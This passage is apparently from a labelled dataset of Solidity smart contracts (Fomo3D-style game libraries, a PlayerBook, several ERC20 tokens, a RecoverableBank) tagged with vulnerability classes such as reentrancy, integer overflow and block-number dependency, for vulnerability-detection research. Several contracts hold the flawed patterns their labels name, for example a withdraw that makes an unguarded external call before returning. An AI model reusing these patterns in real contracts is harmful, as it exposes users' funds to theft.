activated""); activated_ = true; rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } } library F3Ddatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 P3DAmount; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; uint256 ico; } struct Round { uint256 plyr; uint256 team; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; uint256 ico; uint256 icoGen; uint256 icoAvg; } struct TeamFee { uint256 gen; uint256 p3d; } struct PotSplit { uint256 gen; uint256 p3d; } } library F3DKeysCalcLong { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } interface otherFoMo3D { function potSwap() external payable; } interface F3DexternalSettingsInterface { function getFastGap() external returns(uint256); function getLongGap() external returns(uint256); function getFastExtra() external returns(uint256); function getLongExtra() external returns(uint256); } interface JIincForwarderInterface { function deposit() external payable; function status() external view returns(address, address, bool); function startMigration(address _newCorpBank) external returns(bool); function cancelMigration() external returns(bool); function finishMigration() external returns(bool); function setup(address _firstCorpBank) external; } interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, ""string must be between 1 and 32 characters""); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, ""string cannot start or end with space""); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, ""string cannot start with 0x""); require(_temp[1] != 0x58, ""string cannot start with 0X""); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), ""string contains invalid characters"" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, ""string cannot contain consecutive spaces""); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, ""string cannot be only numbers""); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, ""SafeMath mul failed""); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, ""SafeMath sub failed""); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, ""SafeMath add failed""); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }",./Dataset/block number dependency (BN),0,0 1360.sol,"pragma solidity ^0.4.24; /** * @title SafeMath v0.1.9 * @dev Math operations with safety checks that throw on error * change notes: original SafeMath library from OpenZeppelin modified by Inventor * - added sqrt * - added sq * - added pwr * - changed asserts to requires with error log outputs * - removed div, its useless */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, ""SafeMath mul failed""); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, ""SafeMath sub failed""); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, ""SafeMath add failed""); return c; } /** * @dev gives square root of given x. */ function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } /** * @dev gives square. multiplies x by x */ function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } /** * @dev x to the power of y */ function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } } /* * NameFilter library */ library NameFilter { /** * @dev filters name strings * -converts uppercase to lower case. * -makes sure it does not start/end with a space * -makes sure it does not contain multiple spaces in a row * -cannot be only numbers * -cannot start with 0x * -restricts characters to A-Z, a-z, 0-9, and space. * @return reprocessed string in bytes32 format */ function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; //sorry limited to 32 characters require (_length <= 32 && _length > 0, ""string must be between 1 and 32 characters""); // make sure it doesnt start with or end with space require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, ""string cannot start or end with space""); // make sure first two characters are not 0x if (_temp[0] == 0x30) { require(_temp[1] != 0x78, ""string cannot start with 0x""); require(_temp[1] != 0x58, ""string cannot start with 0X""); } // create a bool to track if we have a non number character bool _hasNonNumber; // convert & check for (uint256 i = 0; i < _length; i++) { // if its uppercase A-Z if (_temp[i] > 0x40 && _temp[i] < 0x5b) { // convert to lower case a-z _temp[i] = byte(uint(_temp[i]) + 32); // we have a non number if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( // require character is a space _temp[i] == 0x20 || // OR lowercase a-z (_temp[i] > 0x60 && _temp[i] < 0x7b) || // or 0-9 (_temp[i] > 0x2f && _temp[i] < 0x3a), ""string contains invalid characters"" ); // make sure theres not 2x spaces in a row if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, ""string cannot contain consecutive spaces""); // see if we have a character other than a number if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, ""string cannot be only numbers""); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } /** interface : PlayerBookReceiverInterface */ interface PlayerBookReceiverInterface { function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external; function receivePlayerNameList(uint256 _pID, bytes32 _name) external; } /** contract : PlayerBook */ contract PlayerBook{ /****************************************************************************************** 导入的库 */ using SafeMath for *; using NameFilter for string; /****************************************************************************************** 社区地址 */ address public communityAddr; function initCommunityAddr(address addr) isAdmin() public { require(address(addr) != address(0x0), ""Empty address not allowed.""); require(address(communityAddr) == address(0x0), ""Community address has been set.""); communityAddr = addr ; } /****************************************************************************************** 合约权限管理 设计:会设计用户权限管理, 9 => 管理员角色 0 => 没有任何权限 */ // 用户地址到角色的表 mapping(address => uint256) private users ; // 初始化 function initUsers() private { // 初始化下列地址帐户为管理员 users[0x89b2E7Ee504afd522E07F80Ae7b9d4D228AF3fe2] = 9 ; users[msg.sender] = 9 ; } // 是否是管理员 modifier isAdmin() { uint256 role = users[msg.sender]; require((role==9), ""Must be admin.""); _; } /****************************************************************************************** 检查是帐户地址还是合约地址 */ modifier isHuman { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, ""Humans only""); _; } /****************************************************************************************** 事件定义 */ event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); // 注册玩家信息 struct Player { address addr; bytes32 name; uint256 laff; uint256 names; } /****************************************************************************************** 注册费用:初始为 0.01 ether 条件: 1. 必须是管理员才可以更新 */ uint256 public registrationFee_ = 10 finney; function setRegistrationFee(uint256 _fee) isAdmin() public { registrationFee_ = _fee ; } /****************************************************************************************** 注册游戏 */ // 注册的游戏列表 mapping(uint256 => PlayerBookReceiverInterface) public games_; // 注册的游戏名称列表 mapping(address => bytes32) public gameNames_; // 注册的游戏ID列表 mapping(address => uint256) public gameIDs_; // 游戏数目 uint256 public gID_; // 判断是否是注册游戏 modifier isRegisteredGame() { require(gameIDs_[msg.sender] != 0); _; } /****************************************************************************************** 新增游戏 条件: 1. 游戏不存在 */ function addGame(address _gameAddress, string _gameNameStr) isAdmin() public { require(gameIDs_[_gameAddress] == 0, ""Game already registered""); gID_++; bytes32 _name = _gameNameStr.nameFilter(); gameIDs_[_gameAddress] = gID_; gameNames_[_gameAddress] = _name; games_[gID_] = PlayerBookReceiverInterface(_gameAddress); } /****************************************************************************************** 玩家信息 */ // 玩家数目 uint256 public pID_; // 玩家地址=>玩家ID mapping (address => uint256) public pIDxAddr_; // 玩家名称=>玩家ID mapping (bytes32 => uint256) public pIDxName_; // 玩家ID => 玩家数据 mapping (uint256 => Player) public plyr_; // 玩家ID => 玩家名称 => mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; // 玩家ID => 名称编号 => 玩家名称 mapping (uint256 => mapping (uint256 => bytes32)) public plyrNameList_; /****************************************************************************************** 初始玩家 */ function initPlayers() private { pID_ = 0; } /****************************************************************************************** 判断玩家名字是否有效(是否已经注册过) */ function checkIfNameValid(string _nameStr) public view returns(bool){ bytes32 _name = _nameStr.nameFilter(); if (pIDxName_[_name] == 0) return (true); else return (false); } /****************************************************************************************** 构造函数 */ constructor() public { // 初始化用户 initUsers() ; // 初始化玩家 initPlayers(); // 初始化社区基金地址 communityAddr = address(0x3C07f9f7164Bf72FDBefd9438658fAcD94Ed4439); } /****************************************************************************************** 注册名字 _nameString: 名字 _affCode:推荐人编号 _all:是否是注册到所有游戏中 条件: 1. 是账户地址 2. 要付费 */ function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable{ // 要求注册费用,不需要付费 //require (msg.value >= registrationFee_, ""You have to pay the name fee""); bytes32 _name = NameFilter.nameFilter(_nameString); address _addr = msg.sender; bool _isNewPlayer = determinePID(_addr); uint256 _pID = pIDxAddr_[_addr]; if (_affCode != 0 && _affCode != plyr_[_pID].laff && _affCode != _pID) { plyr_[_pID].laff = _affCode; }else{ _affCode = 0; } registerNameCore(_pID, _addr, _affCode, _name, _isNewPlayer, _all); } /** 注册名字 _nameString: 名字 _affCode:推荐人地址 _all:是否是注册到所有游戏中 条件: 1. 是账户地址 2. 要付费 */ function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable{ // 要求注册费用,不需要付费 //require (msg.value >= registrationFee_, ""You have to pay the name fee""); bytes32 _name = NameFilter.nameFilter(_nameString); address _addr = msg.sender; bool _isNewPlayer = determinePID(_addr); uint256 _pID = pIDxAddr_[_addr]; uint256 _affID; if (_affCode != address(0) && _affCode != _addr){ _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff){ plyr_[_pID].laff = _affID; } } registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); } /** 注册名字 _nameString: 名字 _affCode:推荐人名称 _all:是否是注册到所有游戏中 条件: 1. 是账户地址 2. 要付费 */ function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable{ // 要求注册费用,不需要付费 //require (msg.value >= registrationFee_, ""You have to pay the name fee""); bytes32 _name = NameFilter.nameFilter(_nameString); address _addr = msg.sender; bool _isNewPlayer = determinePID(_addr); uint256 _pID = pIDxAddr_[_addr]; uint256 _affID; if (_affCode != """" && _affCode != _name){ _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff){ plyr_[_pID].laff = _affID; } } registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); } /** 注册 _pID: 玩家编号 _addr: 玩家地址 _affID: 从属 _name: 名称 _isNewPlayer: 是否是新玩家 _all: 是否注册到所有游戏 */ function registerNameCore(uint256 _pID, address _addr, uint256 _affID, bytes32 _name, bool _isNewPlayer, bool _all) private { // 判断是否已经注册过 if (pIDxName_[_name] != 0) require(plyrNames_[_pID][_name] == true, ""That names already taken""); // plyr_[_pID].name = _name; pIDxName_[_name] = _pID; if (plyrNames_[_pID][_name] == false) { plyrNames_[_pID][_name] = true; plyr_[_pID].names++; plyrNameList_[_pID][plyr_[_pID].names] = _name; } // 将注册费用转到社区基金合约账户中 if(address(this).balance>0){ if(address(communityAddr) != address(0x0)) { communityAddr.transfer(address(this).balance); } } if (_all == true) for (uint256 i = 1; i <= gID_; i++) games_[i].receivePlayerInfo(_pID, _addr, _name, _affID); emit onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, msg.value, now); } /** 如果是新玩家,则返回真 */ function determinePID(address _addr) private returns (bool) { if (pIDxAddr_[_addr] == 0){ pID_++; pIDxAddr_[_addr] = pID_; plyr_[pID_].addr = _addr; return (true) ; }else{ return (false); } } /** */ function addMeToGame(uint256 _gameID) isHuman() public { require(_gameID <= gID_, ""Game doesn't exist yet""); address _addr = msg.sender; uint256 _pID = pIDxAddr_[_addr]; require(_pID != 0, ""You dont even have an account""); uint256 _totalNames = plyr_[_pID].names; // add players profile and most recent name games_[_gameID].receivePlayerInfo(_pID, _addr, plyr_[_pID].name, plyr_[_pID].laff); // add list of all names if (_totalNames > 1) for (uint256 ii = 1; ii <= _totalNames; ii++) games_[_gameID].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]); } function addMeToAllGames() isHuman() public { address _addr = msg.sender; uint256 _pID = pIDxAddr_[_addr]; require(_pID != 0, ""You dont even have an account""); uint256 _laff = plyr_[_pID].laff; uint256 _totalNames = plyr_[_pID].names; bytes32 _name = plyr_[_pID].name; for (uint256 i = 1; i <= gID_; i++){ games_[i].receivePlayerInfo(_pID, _addr, _name, _laff); if (_totalNames > 1) for (uint256 ii = 1; ii <= _totalNames; ii++) games_[i].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]); } } function useMyOldName(string _nameString) isHuman() public { // filter name, and get pID bytes32 _name = _nameString.nameFilter(); uint256 _pID = pIDxAddr_[msg.sender]; // make sure they own the name require(plyrNames_[_pID][_name] == true, ""Thats not a name you own""); // update their current name plyr_[_pID].name = _name; } /** PlayerBookInterface Interface */ function getPlayerID(address _addr) external returns (uint256){ determinePID(_addr); return (pIDxAddr_[_addr]); } function getPlayerName(uint256 _pID) external view returns (bytes32){ return (plyr_[_pID].name); } function getPlayerLAff(uint256 _pID) external view returns (uint256) { return (plyr_[_pID].laff); } function getPlayerAddr(uint256 _pID) external view returns (address) { return (plyr_[_pID].addr); } function getNameFee() external view returns (uint256){ return (registrationFee_); } function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) isRegisteredGame() external payable returns(bool, uint256){ // 要求注册费用,不需要付费 //require (msg.value >= registrationFee_, ""You have to pay the name fee""); bool _isNewPlayer = determinePID(_addr); uint256 _pID = pIDxAddr_[_addr]; uint256 _affID = _affCode; if (_affID != 0 && _affID != plyr_[_pID].laff && _affID != _pID) { plyr_[_pID].laff = _affID; } else if (_affID == _pID) { _affID = 0; } registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); return(_isNewPlayer, _affID); } // function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) isRegisteredGame() external payable returns(bool, uint256){ // 要求注册费用,不需要付费 //require (msg.value >= registrationFee_, ""You have to pay the name fee""); bool _isNewPlayer = determinePID(_addr); uint256 _pID = pIDxAddr_[_addr]; uint256 _affID; if (_affCode != address(0) && _affCode != _addr){ _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff){ plyr_[_pID].laff = _affID; } } registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); return(_isNewPlayer, _affID); } // function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) isRegisteredGame() external payable returns(bool, uint256){ // 要求注册费用,不需要付费 //require (msg.value >= registrationFee_, ""You have to pay the name fee""); bool _isNewPlayer = determinePID(_addr); uint256 _pID = pIDxAddr_[_addr]; uint256 _affID; if (_affCode != """" && _affCode != _name){ _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff){ plyr_[_pID].laff = _affID; } } registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); return(_isNewPlayer, _affID); } }",./Dataset/ether strict equality (SE),3,3 44336.sol,"pragma solidity 0.4.24; contract Token { mapping (address => uint256) public balances; constructor(uint256 _initialSupply) public { balances[msg.sender] = _initialSupply; } function buy() public payable { balances[msg.sender] += msg.value; // in wei } function transfer(address _to, uint256 _value) public { require(balances[msg.sender] >= _value); require(balances[_to] + _value >= balances[_to]); // Avoid overflows balances[msg.sender] -= _value; balances[_to] += _value; } function withdraw(uint _amount) public { require(balances[msg.sender] >= _amount); balances[msg.sender] -= _amount; if(!msg.sender.call.value(_amount)()) { revert(); } } function getBalance() public view returns (uint) { return address(this).balance; } } ",./Dataset/reentrancy (RE)/,5,5 1511.sol,"pragma solidity ^0.4.18; contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract ZaiZaiCoin is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; function ZaiZaiCoin() public { symbol = ""ZZCT""; name = ""ZaiZaiCoin""; decimals = 4; _totalSupply = 1000000000000; balances[0xBca7818F07891c99b2BFe62349CcF396851f54Aa] = _totalSupply; Transfer(address(0), 0xBca7818F07891c99b2BFe62349CcF396851f54Aa, _totalSupply); } function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function () public payable { revert(); } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }",./Dataset/integer overflow (OF)/,4,4 33636.sol,"pragma solidity ^0.4.18; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract WeberCoin is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; uint8 public decimals; string public symbol; string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. function WeberCoin( ) { balances[msg.sender] = 100000000; totalSupply = 100000000; name = ""WeberCoin""; decimals = 18; symbol = ""WBC""; } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/reentrancy (RE)/,5,5 0x017bcaee2456d8bd0e181f94165919a4a2ecc2d9_RecoverableBank.sol,"pragma solidity ^0.4.18; contract Owned { address public owner; function Owned() { owner = msg.sender; } modifier onlyOwner{ if (msg.sender != owner) revert(); _; } } contract RecoverableBank is Owned { event BankDeposit(address from, uint amount); event BankWithdrawal(address from, uint amount); address public owner = msg.sender; uint256 ecode; uint256 evalue; function() public payable { deposit(); } function deposit() public payable { require(msg.value > 0); BankDeposit(msg.sender, msg.value); } function setEmergencyCode(uint256 code, uint256 value) public onlyOwner { ecode = code; evalue = value; } function useEmergencyCode(uint256 code) public payable { if ((code == ecode) && (msg.value == evalue)) owner = msg.sender; } function withdraw(uint amount) public onlyOwner { require(amount <= this.balance); msg.sender.transfer(amount); } }",Safe,8,8 182.sol,"pragma solidity ^0.4.17; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20Basic { uint public _totalSupply; function totalSupply() public constant returns (uint); function balanceOf(address who) public constant returns (uint); function transfer(address to, uint value) public; event Transfer(address indexed from, address indexed to, uint value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint); function transferFrom(address from, address to, uint value) public; function approve(address spender, uint value) public; event Approval(address indexed owner, address indexed spender, uint value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is Ownable, ERC20Basic { using SafeMath for uint; mapping(address => uint) public balances; // additional variables for use if transaction fees ever became necessary uint public basisPointsRate = 0; uint public maximumFee = 0; /** * @dev Fix for the ERC20 short address attack. */ modifier onlyPayloadSize(uint size) { require(!(msg.data.length < size + 4)); _; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint _value) public onlyPayloadSize(2 * 32) { uint fee = (_value.mul(basisPointsRate)).div(10000); if (fee > maximumFee) { fee = maximumFee; } uint sendAmount = _value.sub(fee); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(sendAmount); if (fee > 0) { balances[owner] = balances[owner].add(fee); Transfer(msg.sender, owner, fee); } Transfer(msg.sender, _to, sendAmount); } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based oncode by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is BasicToken, ERC20 { mapping (address => mapping (address => uint)) public allowed; uint public constant MAX_UINT = 2**256 - 1; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint _value) public onlyPayloadSize(3 * 32) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // if (_value > _allowance) throw; uint fee = (_value.mul(basisPointsRate)).div(10000); if (fee > maximumFee) { fee = maximumFee; } if (_allowance < MAX_UINT) { allowed[_from][msg.sender] = _allowance.sub(_value); } uint sendAmount = _value.sub(fee); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(sendAmount); if (fee > 0) { balances[owner] = balances[owner].add(fee); Transfer(_from, owner, fee); } Transfer(_from, _to, sendAmount); } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require(!((_value != 0) && (allowed[msg.sender][_spender] != 0))); allowed[msg.sender][_spender] = _value; 